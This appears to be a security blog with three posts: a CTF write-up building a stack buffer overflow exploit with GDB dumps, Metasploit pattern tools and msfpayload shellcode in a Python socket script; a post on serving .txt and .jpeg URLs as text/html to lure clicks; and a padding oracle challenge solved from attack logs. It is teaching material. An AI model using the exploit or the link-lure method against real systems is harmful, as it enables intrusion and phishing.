    0xffffca20:	0xf7fbd4e0	0x0000000a	0xf7fbcff4	0xf7fbe360
    0xffffca30:	0xffffca58	0xf7ec5acb	0xf7fbd4e0	0x0000000a
    0xffffca40:	0x0000000f	0xf7e668d0	0xf7fbd4e0	0x00000e04
    0xffffca50:	0x00000000	0xf7fbcff4	0xffffd128	0x080488dc
    0xffffca60:	0x08048e23	0x00000000	0x00000006	0x0804d6c8
    0xffffca70:	0xf7fb0006	0xf7fef0a0	0xf7fcb239	0xf7fdf400
    0xffffca80:	0x0000001f	0x00000063	0x00000000	0x0000002b
    0xffffca90:	0x0000002b	0xf7fbcff4	0x00000000	0xffffd128
    0xffffcaa0:	0xffffd110	0x00000e04	0x0000001f	0x00000e04
    0xffffcab0:	0x00000000	0x00000001	0x00000000	0xf7fdf430
    0xffffcac0:	0x00000023	0x00000296	0xffffd110	0x0000002b
    0xffffcad0:	0xffffcd5c	0x00000200	0x00000000	0x0804d5d8
    0xffffcae0:	0x00000003	0x0804d060	0x00000000	0x00000000
    0xffffcaf0:	0x00000001	0x0000078a	0x0804d6c8	0xf7fde9e0
    0xffffcb00:	0xf7fcaaec	0xf7e73eb0	0xf7fca71c	0x00000000
    ---Type <return> to continue, or q <return> to quit---q
    Quit
    (gdb) nexti
    0x080488c1 in ?? ()
    (gdb) x/150x $esp
    0xffffc900:	0x00000006	0xffffc916	0x00000800	0x00000000
    0xffffc910:	0x00000000	0x41410000	0x41414141	0x41414141
    0xffffc920:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffc930:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffc940:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffc950:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffc960:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffc970:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffc980:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffc990:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffc9a0:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffc9b0:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffc9c0:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffc9d0:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffc9e0:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffc9f0:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffca00:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffca10:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffca20:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffca30:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffca40:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffca50:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffca60:	0x41414141	0x41414141	0x41414141	0x41414141
    0xffffca70:	0x41414141	0xf7fef00a	0xf7fcb239	0xf7fdf400
    0xffffca80:	0x0000001f	0x00000063	0x00000000	0x0000002b
    0xffffca90:	0x0000002b	0xf7fbcff4	0x00000000	0xffffd128
    0xffffcaa0:	0xffffd110	0x00000e04	0x0000001f	0x00000e04
    0xffffcab0:	0x00000000	0x00000001	0x00000000	0xf7fdf430
    0xffffcac0:	0x00000023	0x00000296	0xffffd110	0x0000002b
    0xffffcad0:	0xffffcd5c	0x00000200	0x00000000	0x0804d5d8
    0xffffcae0:	0x00000003	0x0804d060	0x00000000	0x00000000
    0xffffcaf0:	0x00000001	0x0000078a	0x0804d6c8	0xf7fde9e0
    0xffffcb00:	0xf7fcaaec	0xf7e73eb0	0xf7fca71c	0x00000000
    

    If we spent time developing our exploit now, we’d soon find out that the buffer size for the destination buffer used in the read() call we thought was 348 bytes in length was inaccurate and we’d get a segfault despite thinking we’re overwriting the return address. The buffer is actually a bit smaller than 348 bytes; that is, the stack has 348 bytes to be used for local variables, but they’re not all for dest_buffer. One trick we can use to find the actual buffer size is to use metasploit’s pattern_create and pattern_offset tools. These work by creating long strings that we can use to fill memory / registers, and find offsets for specific parts of the pattern we get when we examine areas of memory or registers we’re interested in by feeding it back to the pattern_offset tool. Let’s generate a pattern that is 350 bytes in length, input that to our service, and see what happens in GDB.

    root@bt:/opt/metasploit/msf3/tools# ./pattern_create.rb 
    Usage: pattern_create.rb length [set a] [set b] [set c]
    root@bt:/opt/metasploit/msf3/tools# ./pattern_create.rb  350
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al
    
    ------------------
    
    (gdb) r
    Starting program: /root/Desktop/csaw_2012/300/nofork-2012_csawexp300 
    warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch).
    
    
    Program received signal SIGUSR1, User defined signal 1.
    0xf7fdf430 in __kernel_vsyscall ()
    (gdb) c
    Continuing.
    连接接受。
    
    Program received signal SIGSYS, Bad system call.
    0xf7fdf430 in __kernel_vsyscall ()
    (gdb) c
    Continuing.
    信号读取。
    
    Program received signal SIGSEGV, Segmentation fault.
    0x396b4138 in ?? ()
    (gdb) 
    
    ------------------
    
    root@bt:/opt/metasploit/msf3/tools# ./pattern_offset.rb 0x396b4138
    326
    
    

    Actual buffer length is 326 bytes. We’re ready to write our exploit. I picked a return address on the stack (0xffffc990). If you have issues with the address you pick, keep in mind things can be laid out differently in memory whether you start a program from within a debugger or not. You can always attach to the process from within GDB with the PID (attach 12345). Our shellcode can be generated with msfpayload. I don’t think there are any bad characters you need to worry about since I think read() will copy N bytes and won’t terminate early based on the contents of those bytes. Our shellcode will just execute a command to create a flag file for RCE demonstration purposes.

    root@bt:/opt/metasploit/msf3# ./msfpayload linux/x86/exec CMD="/usr/bin/touch /tmp/flag" y
    # linux/x86/exec - 60 bytes
    # http://www.metasploit.com
    # VERBOSE=false, PrependSetresuid=false, 
    # PrependSetreuid=false, PrependSetuid=false, 
    # PrependChrootBreak=false, AppendExit=false, 
    # CMD=/usr/bin/touch /tmp/flag
    buf = 
    "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" +
    "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x19\x00\x00" +
    "\x00\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x74\x6f\x75\x63" +
    "\x68\x20\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67\x00\x57\x53" +
    "\x89\xe1\xcd\x80"
    

    Our exploit:

    import socket
    
    buffersize = 326
    
    shellcode = (
    #msfpayload: /usr/bin/touch /tmp/flag
    "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" +
    "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x19\x00\x00" +
    "\x00\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x74\x6f\x75\x63" +
    "\x68\x20\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67\x00\x57\x53" +
    "\x89\xe1\xcd\x80"
    )
    
    nops = "\x90" * (buffersize - len(shellcode))
    ret = "\x90\xc9\xff\xff"
    payload = nops + shellcode + ret
    
    s = socket.socket()
    s.connect(('localhost', 4842))
    s.recv(1024)
    s.sendall(payload)
    s.close
    print "Sent"
    

    Running this exploit gives us some discouraging results in that our shellcode seems to fail. After talking to Rich, it turns out since our shellcode is so close to ESP, there can be interference. The trick he showed me (in addition to using nasm_shell.rb) is to just move ESP somewhere else. We’ll add one instruction to the beginning of our shellcode to do this. Our updated exploit:

    root@bt:/opt/metasploit/apps/pro/msf3/tools# ./nasm_shell.rb nasm 
    > add esp, -450
    00000000  81C43EFEFFFF      add esp,0xfffffe3e
    nasm > 
    
    ----------
    
    import socket
    
    buffersize = 326
    
    shellcode = (
    #add esp, -450
    "\x81\xC4\x3E\xFE\xFF\xFF"
    
    #msfpayload: /usr/bin/touch /tmp/flag
    "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" +
    "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x19\x00\x00" +
    "\x00\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x74\x6f\x75\x63" +
    "\x68\x20\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67\x00\x57\x53" +
    "\x89\xe1\xcd\x80"
    )
    
    nops = "\x90" * (buffersize - len(shellcode))
    ret = "\x90\xc9\xff\xff"
    payload = nops + shellcode + ret
    
    s = socket.socket()
    s.connect(('localhost', 4842))
    s.recv(1024)
    s.sendall(payload)
    s.close
    print "Sent"
    
    

    Our result:

    My Benign URL

    Recently, while playing with an XSS and trying to get execution with as little interaction as possible in Firefox (confined within div tag), I discovered a neat (lame?) trick in one of my tangents. “Discovered” probably isn’t the right word since I’m sure it’s probably old/known, but I didn’t look very hard to see if anyone else had written anything else about this topic. If anything it might be either new or forgotten. The result of this tangent ended up not being applicable to my XSS, but I realized it could be useful as the first link in a chained attack.

    Getting to the point, as attackers, getting people to click on things is a necessity of many client-side attacks. Since a major use case of “the Internet” is pretty much clicking on links, it’s arguable that’s a pretty trivial requirement to satisfy no matter what, but security awareness has made some people paranoid (thanks, Rick Rollers). Turns out there’s an exploitable association many Internet users (I think) make with what a safe URL is versus one that might be dangerous. For example, when I see links to text files or images, I’d consider it pretty safe. Even a link to an audio file I’d consider that at worst it might be exploiting a vuln in my mp3 player.

    So I’ll be honest, I would have clicked (or copy/pasted) these thinking it’d be fine.

    http://www.hackeroutfit.com/screenshot.jpeg

    http://www.hackeroutfit.com/license.txt

    In short, the browser will automatically and correctly handle certain file types (images) for you in some cases, like loading only images within <img> tags in an HTML response, but will rely on the server-provided mime type for direction on handling files directly requested in a URL. This means that an attacker-controlled server can specify any content-type for any file extensions, which is the intended flexibility. The intention being that the content-type header will provide the right information so that the user agent can make a decision about how to present the content (Ref: www.w3.org/Protocols/rfc1341/4_Content-Type.html).

    Configuring your attack web server is pretty trivial. For example, you could add the following in the configuration file for Lighttpd:

    mimetype.assign = (
            ".html" => "text/html",
            ".txt" => "text/html",
            ".jpg" => "text/html",
            ".jpeg" => "text/html",
    )
    

    Your web server will now send the “incorrect” content-type:

    GET /license.txt HTTP/1.1
    Host: www.hackeroutfit.com
    
    HTTP/1.1 200 OK
    ...
    Content-Type: text/html
    ...
    ...
    
    

    For offensive security testing, this has immediate uses if your targets will more readily click links for what they believe are for specific, safe file formats. In addition to serving up a dummy text or picture file that the victim might expect to see in your link, other payloads could be hidden in the response that might conduct the attacks you’d normally serve up, like:
    CSRFs
    Browser autopwn / drive by downloads
    NTLM relaying
    DNS rebinding
    Clickjacking? (Some people like to click / highlight text as they read)

    Your (malicious) JavaScript could do some of the usual things too (though remember it executes only in the context of your site; it’s not XSS).

    Is there, or will there be any fix? I wouldn’t think so, no, since it’s not really a vulnerability. It’s just an abuse of the way things are supposed to work.

    Oracle Padding Attack Challenge

    A friend of mine sent me a crypto challenge from an online course he was taking that I had a lot of fun solving. The details are available here. If you’re unfamiliar with how oracle padding attacks work or think they pertain to Oracle (proper noun), you should check out the following references and try to solve the challenge prior to reading the rest of this post.

    http://esec-lab.sogeti.com/post/2010/12/03/Padding-Oracle-attack-and-its-applications-on-ASP.NET

    http://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html

    For this challenge, we’re given web server logs that appear to show an attacker exploiting this vulnerability. Our objective: to capture the secret data.

    The logs show someone is brute forcing to determine when their guess results in the correct padding. In oracle padding attacks, the attacker needs to figure out what the indicator for a successful guess is. Sometimes it’s different page response, but in this case, it’s a 404 HTTP error response code. This lets us reduce the amount of log data we need to pay attention to since every 403 is just an incorrect guess and can be ignored.

    $ egrep ' 404' proj4-log.txt 
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /202020202020202020202020202020d8cac544d7942e50e1a0afa156c803d115 HTTP/1.1" 404
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /2020202020202020202020202020eddbcac544d7942e50e1a0afa156c803d115 HTTP/1.1" 404
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /20202020202020202020202020deecdacac544d7942e50e1a0afa156c803d115 HTTP/1.1" 404
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /202020202020202020202020ffd9ebddcac544d7942e50e1a0afa156c803d115 HTTP/1.1" 404
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /2020202020202020202020fbfed8eadccac544d7942e50e1a0afa156c803d115 HTTP/1.1" 404
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /2020202020202020202089f8fddbe9dfcac544d7942e50e1a0afa156c803d115 HTTP/1.1" 404
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /2020202020202020203c88f9fcdae8decac544d7942e50e1a0afa156c803d115 HTTP/1.1" 404
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /20202020202020207c3387f6f3d5e7d1cac544d7942e50e1a0afa156c803d115 HTTP/1.1" 404
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /20202020202020057d3286f7f2d4e6d0cac544d7942e50e1a0afa156c803d115 HTTP/1.1" 404
    ...
    ...
    

    We’ll come back to this later, but for now we can see the patterns where each byte is progressively, individually brute forced. We also notice the attacker has divided the original 80 byte encrypted string into 5 16-byte blocks and has prepended a starting block of 20’s to target the padding oracle specifically. Most algorithms divide data into 8 or 16 byte blocks, so this makes sense.

    To more easily see what’s going on, we can split up the string into 16 byte chunks which show the attackers initial guesses. I’ve deliberately added spaces to the GET snippets throughout the rest of this write up to make visualization easier.

    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /20202020202020202020202020202001 cac544d7942e50e1a0afa156c803d115 HTTP/1.1" 403
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /20202020202020202020202020202000 cac544d7942e50e1a0afa156c803d115 HTTP/1.1" 403
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /20202020202020202020202020202003 cac544d7942e50e1a0afa156c803d115 HTTP/1.1" 403
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /20202020202020202020202020202002 cac544d7942e50e1a0afa156c803d115 HTTP/1.1" 403
    …
    …
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /202020202020202020202020202020d8 cac544d7942e50e1a0afa156c803d115 HTTP/1.1" 404
    
    

    Though in slightly out of order, the attacker tried 01, 00, 03, 02.. and proceeded to continue incrementing the last byte by one until hitting the 404 response code; the successful padding guess. The first 404 (first line of our egrep) reveals the request that guessed the correct value to supply so that the decrypted last byte would be 0x01:

    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /202020202020202020202020202020d8 cac544d7942e50e1a0afa156c803d115 HTTP/1.1" 404
    
    

    This means that when 0xd8 is supplied in the request and decrypted by the server, it will decrypt to 0x01 and the padding will be correct. So if we XOR 0xd8 and 0x1, we get 0xd9. We can now encrypt and decrypt arbitrary data for just that one byte by XOR-ing whatever we want with 0xd9.

    >>> hex(0xd8 ^ 0x01)
    '0xd9'
    
    

    Now that we know 0xd9, we can guess that the attacker moved on to brute forcing the next byte to find out when the padding is correct for two bytes. To do that, the attacker needs to make the decrypted value come out to 0x02 0x02. We can do that only for the last byte ourselves since we know 0xd9:

    >>> hex(0xd9 ^ 0x02)
    '0xdb'
    

    If we look at the raw logs to the line right after the initial successful guess, we see the attacker changes the last byte from 0xd8 to 0xdb and the brute force attack for the next byte begins:

    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /202020202020202020202020202020d8 cac544d7942e50e1a0afa156c803d115 HTTP/1.1" 404
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /202020202020202020202020202002db cac544d7942e50e1a0afa156c803d115 HTTP/1.1" 403
    
    

    When that byte is discovered, we can move to 0x03, and so on. Since there are 16 bytes in our blocks, and there must be at least one byte of padding, the attack for each of the 5 blocks ends when a full block of padding is identified. After identifying this full block that can be XORed with 0x10’s, the attacker starts over with the next block:

    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /dce6acb565dd951c642b9feeebcdffc9 cac544d7942e50e1a0afa156c803d115 HTTP/1.1" 404 <- Got full block
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /20202020202020202020202020202001 084b0199778f14767cbdc989872a1f7d HTTP/1.1" 403 <- Starting over with next block
    
    

    Looking through the logs is great actually because the attacker did all the work for us. We can ignore all of this byte-by-byte brute forcing and skip straight to the end of each block’s brute force where the full block of padding is identified. This is what the attacker was working towards anyways:

    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /dce6acb565dd951c642b9feeebcdffc9 cac544d7942e50e1a0afa156c803d115 HTTP/1.1" 404
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /afa631b5b91c019dd9dcd464e333b164 084b0199778f14767cbdc989872a1f7d HTTP/1.1" 404
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /6b2866e615fb39441cccbdfdfe54684d a59da498c81017fd2adc534610b412e4 HTTP/1.1" 404
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /daffd5ebb46574cd5bbe267664c56c93 8f50d05513a440425f5ca434e5cb29c6 HTTP/1.1" 404
    1.1.1.1 - [Sat Mar 31 18:20:41 2012] "GET /fa32af307095725b4645bd2dfcd230df b9110412ebeb347ee63a6b1849794f92 HTTP/1.1" 404
    
    

    With these 5 lines of information, we have enough to decrypt the original string and solve the challenge. If you whip up a script to XOR the bytes of two blocks for you, you can start XORing stuff together. Or just do it interactively:

    $ python
    >>> 0xFFFFFFFF ^ 0x10101010
    4025479151
    >>> hex(0xFFFFFFFF ^ 0x10101010)
    '0xefefefef'
    

    We’ll build a quick list of intermediary values first, but note that to decrypt a block you XOR the intermediary value with the previous cipher text block (or IV for the first block) to get the clear text. The script used below just outputs the result of the XOR and also the corresponding ASCII.

    We’ll XOR the results of the brute force against a full block of 0x10 padding for each of the 5 blocks.

    $ python xor.py dce6acb565dd951c642b9feeebcdffc9 10101010101010101010101010101010
    ccf6bca575cd850c743b8ffefbddefd9
    ????uͅ
         t;??????
    
    $ python xor.py afa631b5b91c019dd9dcd464e333b164 10101010101010101010101010101010
    bfb621a5a90c118dc9ccc474f323a174
    ??!??
         ????t?#?t
    
    $ python xor.py 6b2866e615fb39441cccbdfdfe54684d 10101010101010101010101010101010
    7b3876f605eb29540cdcadedee44785d
    {8v??)T
    
           ܭ
    
    $ python xor.py daffd5ebb46574cd5bbe267664c56c93 10101010101010101010101010101010
    caefc5fba47564dd4bae366674d57c83
    ?????ud?K?6ft?|?
    
    $ python xor.py fa32af307095725b4645bd2dfcd230df 10101010101010101010101010101010
    ea22bf206085624b5655ad3decc220cf
    ?"? `?bKVU?=?? ?
    

    Now, we start decrypting the original blocks by taking these results and XOR-ing it with the cipher text of the previous block (so we don’t actually need the first result from xor.py above).

    $ python xor.py cac544d7942e50e1a0afa156c803d115 bfb621a5a90c118dc9ccc474f323a174
    757365723d22416c696365223b207061
    user="Alice"; pa
    
    $ python xor.py 084b0199778f14767cbdc989872a1f7d 7b3876f605eb29540cdcadedee44785d
    7373776f72643d2270616464696e6720
    ssword="padding 
    
    $ python xor.py a59da498c81017fd2adc534610b412e4 caefc5fba47564dd4bae366674d57c83
    6f7261636c6573206172652064616e67
    oracles are dang
    
    $ python xor.py 8f50d05513a440425f5ca434e5cb29c6 ea22bf206085624b5655ad3decc220cf
    65726f75732122999999999
    erous!" 
    

    Our decrypted string: user=”Alice”; password=”padding oracles are dangerous!”